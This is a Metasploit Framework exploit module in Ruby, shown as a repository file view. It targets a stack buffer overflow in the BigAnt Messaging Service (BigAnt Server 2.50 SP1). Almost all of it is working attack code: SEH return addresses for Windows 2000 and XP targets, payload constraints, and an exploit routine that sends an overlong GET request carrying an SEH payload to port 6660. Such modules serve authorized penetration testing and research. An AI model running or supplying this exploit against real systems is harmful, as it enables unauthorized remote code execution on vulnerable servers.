Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
82 lines
2.2 KiB
Ruby
82 lines
2.2 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'BigAnt Server 2.50 SP1 Buffer Overflow',
|
|
'Description' => %q{
|
|
This exploits a stack buffer overflow in the BigAnt Messaging Service,
|
|
part of the BigAnt Server product suite. This module was tested
|
|
successfully against version 2.50 SP1.
|
|
},
|
|
'Author' => [ 'Dr_IDE <Dr_IDE[at]hushmail.com>' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
# It's not clear if these are correct - there was a fix for
|
|
# the v2.2 vuln back in Dec 2008
|
|
[ 'CVE', '2008-1914'],
|
|
[ 'OSVDB', '44454'],
|
|
[ 'EDB', '9673' ],
|
|
[ 'EDB', '9690' ]
|
|
#[ 'B_ID', '28795' ],
|
|
#[ 'U_RL', 'http://www.milw0rm.com/exploits/5451'],
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'seh',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 710,
|
|
'BadChars' => "\x00\x20\x0a\x0d",
|
|
'StackAdjustment' => -3500,
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
|
|
'DisableNops' => 'True',
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'BigAnt 2.5 Universal', { 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & patrickw) p/p/r VBAJET32.dll xpsp3 & w2k
|
|
[ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (patrickw 20090918)
|
|
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], # Should Work
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Apr 15 2008'))
|
|
|
|
register_options([Opt::RPORT(6660)], self.class)
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
sploit = "GET " + rand_text_alpha_upper(985) + generate_seh_payload(target.ret)
|
|
sploit << rand_text_alpha_upper(1000 - payload.encoded.length)
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
sock.put(sploit + "\r\n\r\n")
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|